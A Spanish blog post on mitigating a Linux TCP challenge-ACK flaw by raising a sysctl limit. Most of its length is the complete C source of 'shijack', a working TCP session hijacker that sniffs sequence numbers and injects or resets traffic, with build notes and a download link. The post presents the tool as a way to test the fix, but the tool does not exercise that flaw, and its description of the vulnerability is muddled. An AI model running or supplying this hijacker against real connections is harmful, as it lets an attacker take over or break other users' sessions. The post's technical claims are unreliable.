Mitigando Linux TCP Flaw

por | agosto 31, 2016

Hola amigos de la comunidad, les dejo este breve manual que habla de como mitigar la vulnerabilidad en el Protocolo de Control Transmisión, mejor conocido como TCP e implementado en el kernel Linux a partir de la versión >= 3.6. Esta vulnerabilidad permite capturar trafico prácticamente de cualquier protocolo de comunicación, es decir, HTTP, HTTPS, FTP, SSH, DNS, SMTP, etc. Así mismo inyectar código, eliminar en muchas ocasiones el anonimato del usuario, entre otras cosas.

Bien, para saber si se es vulnerable se ejecuta la siguiente sintaxis;

cat /proc/sys/net/ipv4/tcp_challenge_ack_limit

Si devuelve el valor 100 indica que somos vulnerables ya que predice los números de secuencia TCP utilizados para la identificación entre computadoras, aprovechando el límite de caracteres ACK (100) que introdujo Linux 3.6 (por norma de seguridad). ;(

Para cambiar este valor se edita y se inserta la siguiente sintaxis en el archivo de configuración sysctl.conf;

vim /etc/sysctl.conf

net.ipv4.tcp_challenge_ack_limit = 999999999

Para terminar se ejecuta;

sysctl -p

El cual devolvería el valor 999999999. Si se desea probar la nueva configuración se puede hacer uso de la herramienta shijack,  la cual contiene el siguiente código;

/*
* Full TCP connection hijacker (local, and on subnets), Uses libnet/libpcap
* for better OS portability.
*
* Written by spwny,  Inspiration by cyclozine.
*
* If you dont feel like installing libnet, just use the precompiled static binaries included.
* gcc -o shijack shijack.c -lpcap `libnet-config –libs –defines –cflags`
*
* MD5 (shijack-sunsparc) = 5bf1c084811ab07f851c94c212024f07 (Sun Sparc 2.7)
* MD5 (shijack-fbsd)     = de60e9805ee99b22c23946606078e832 (FreeBSD 4.2)
* MD5 (shijack-lnx)      = 87418448d47d68eb819436f38aae4df2 (Slackware 7.0)
*
*
* Changes:
*   – Added a function to get the SEQ/ACK, instead of using a program.
*   – Started using libpcap and libnet for better portability, instead of just raw sockets.
*   – Added -r, Reset the connection rather than hijacking it.
*
* If you need any help, or wish to discuss anything about this program,
* You can contact me on EFnet or by email, [email protected]
*     – spwny.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libnet.h>
#include <pcap.h>
#include <signal.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/time.h>
#include <unistd.h>

#define lrandom(min, max) (random()%(max-min)+min)

struct seqack {
u_long          seq;
u_long          ack;
};

void
devsrandom(void)
{
int             fd;
u_long          seed;

fd = open(“/dev/urandom”, O_RDONLY);
if (fd == -1) {
fd = open(“/dev/random”, O_RDONLY);
if (fd == -1) {
struct timeval  tv;

gettimeofday(&tv, NULL);
srandom((tv.tv_sec ^ tv.tv_usec) * tv.tv_sec * tv.tv_usec ^ tv.tv_sec);
return;
}
}
read(fd, &seed, sizeof(seed));
close(fd);
srandom(seed);
}

void
getseqack(char *interface, u_long srcip, u_long dstip, u_long sport, u_long dport, struct seqack *sa){
pcap_t         *pt;
char            ebuf[PCAP_ERRBUF_SIZE];
u_char         *buf;
struct ip       iph;
struct tcphdr   tcph;
int             ethrhdr;

pt = pcap_open_live(interface, 65535, 1, 60, ebuf);
if              (!pt)
{
printf(“pcap_open_live: %s\n”, ebuf);
exit(-1);
}
switch          (pcap_datalink(pt)) {
case DLT_EN10MB:
case DLT_EN3MB:
ethrhdr = 14;
break;
case DLT_FDDI:
ethrhdr = 21;
break;
case DLT_SLIP:
ethrhdr = 16;
break;
case DLT_NULL:
case DLT_PPP:
ethrhdr = 4;
break;
case DLT_RAW:
ethrhdr = 0;
default:
printf(“pcap_datalink: Can’t figure out how big the ethernet header is.\n”);
exit(-1);
}

printf(“Waiting for SEQ/ACK  to arrive from the srcip to the dstip.\n”);
printf(“(To speed things up, try making some traffic between the two, /msg person asdf\n\n”);

for (;;) {
struct pcap_pkthdr pkthdr;

buf = (u_char *) pcap_next(pt, &pkthdr);
if (!buf)
continue;
memcpy(&iph, buf + ethrhdr, sizeof(iph));
if (iph.ip_p != IPPROTO_TCP)
continue;
if ((iph.ip_src.s_addr != srcip) || (iph.ip_dst.s_addr != dstip))
continue;
memcpy(&tcph, buf + ethrhdr + sizeof(iph), sizeof(tcph));
if ((tcph.th_sport != htons(sport)) || (tcph.th_dport != htons(dport)))
continue;
if (!(tcph.th_flags & TH_ACK))
continue;
printf(“Got packet! SEQ = 0x%lx ACK = 0x%lx\n”, htonl(tcph.th_seq), htonl(tcph.th_ack));
sa->seq = htonl(tcph.th_seq);
sa->ack = htonl(tcph.th_ack);
pcap_close(pt);
return;
}
}

void
sendtcp(u_long srcip, u_long dstip, u_long sport, u_long dport, u_char flags, u_long seq, u_long ack, char *data, int datalen)
{
u_char         *packet;
int             fd, psize;

devsrandom();
psize = LIBNET_IP_H + LIBNET_TCP_H + datalen;
libnet_init_packet(psize, &packet);
if (!packet)
libnet_error(LIBNET_ERR_FATAL, “libnet_init_packet failed\n”);
fd = libnet_open_raw_sock(IPPROTO_RAW);
if (fd == -1)
libnet_error(LIBNET_ERR_FATAL, “libnet_open_raw_sock failed\n”);

libnet_build_ip(LIBNET_TCP_H + datalen, 0, random(), 0, lrandom(128, 255), IPPROTO_TCP, srcip, dstip, NULL, 0, packet);
libnet_build_tcp(sport, dport, seq, ack, flags, 65535, 0, (u_char *) data, datalen, packet + LIBNET_IP_H);

if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H + datalen) == -1)
libnet_error(LIBNET_ERR_FATAL, “libnet_do_checksum failed\n”);
libnet_write_ip(fd, packet, psize);
libnet_close_raw_sock(fd);
libnet_destroy_packet(&packet);
}

struct seqack   sa;
u_long          srcip, dstip, sport, dport;

void
sighandle(int sig)
{
printf(“Closing connection..\n”);
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq, 0, NULL, 0);
printf(“Done, Exiting.\n”);
exit(0);
}

int
main(int argc, char *argv[])
{
char           *ifa = argv[1];
char            buf[4096];
int        reset = 0;
signal(SIGTERM, sighandle);
signal(SIGINT, sighandle);

if (argc < 6) {
printf(“Usage: %s <interface> <src ip> <src port> <dst ip> <dst port> [-r]\n”, argv[0]);
printf(“<interface>\t\tThe interface you are going to hijack on.\n”);
printf(“<src ip>\t\tThe source ip of the connection.\n”);
printf(“<src port>\t\tThe source port of the connection.\n”);
printf(“<dst ip>\t\tThe destination IP of the connection.\n”);
printf(“<dst port>\t\tThe destination port of the connection.\n”);
printf(“[-r]\t\t\tReset the connection rather than hijacking it.\n”);
printf(“\nCoded by spwny, Inspiration by cyclozine (http://www.geocities.com/stasikous).\n”);
exit(-1);
}

if (argv[6] && !strcmp(argv[6], “-r”) )
reset = 1;

srcip = inet_addr(argv[2]);
dstip = inet_addr(argv[4]);
sport = atol(argv[3]);
dport = atol(argv[5]);

if (!srcip) {
printf(“%s is not a valid ip.\n”, argv[2]);
exit(-1);
}
if (!dstip) {
printf(“%s is not a valid ip.\n”, argv[4]);
exit(-1);
}
if ((sport > 65535) || (dport > 65535) || (sport < 1) || (dport < 1)) {
printf(“The valid TCP port range is 1-1024.\n”);
exit(-1);
}
getseqack(ifa, srcip, dstip, sport, dport, &sa);

if (reset) {
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq, 0, NULL, 0);
printf(“\nConnection has been reset.\n”);
return 0;
}

/*
* Sending 1024 of zero bytes so the real owner of the TCP connection
* wont be able to get us out of sync with the SEQ.
*/
memset(&buf, 0, sizeof(buf));
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH, sa.seq, sa.ack, buf, 1024);
sa.seq += 1024;

printf(“Starting hijack session, Please use ^C to terminate.\n”);
printf(“Anything you enter from now on is sent to the hijacked TCP connection.\n”);

while (fgets(buf, sizeof(buf) – 1, stdin)) {
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH, sa.seq, sa.ack, buf, strlen(buf));
sa.seq += strlen(buf);
memset(&buf, 0, sizeof(buf));
}
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_FIN, sa.seq, sa.ack, NULL, 0);
printf(“Exiting..\n”);
return (0);
}

/* spwny @ EFnet  *
* [email protected] */

Así mismo puede ser descargada desde acá;

https://packetstormsecurity.com/files/24657/shijack.tgz.html

Para la ejecución de la misma se requieren las siguientes librerias;

libpcap-dev

libnet-pcap-perl

Nota: Este manual se creo con fines de aprendizaje.

Fuentes:

https://thehackernews.com

http://www.alcancelibre.org

https://packetstormsecurity.com

Saludos.

Print Friendly, PDF & Email

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *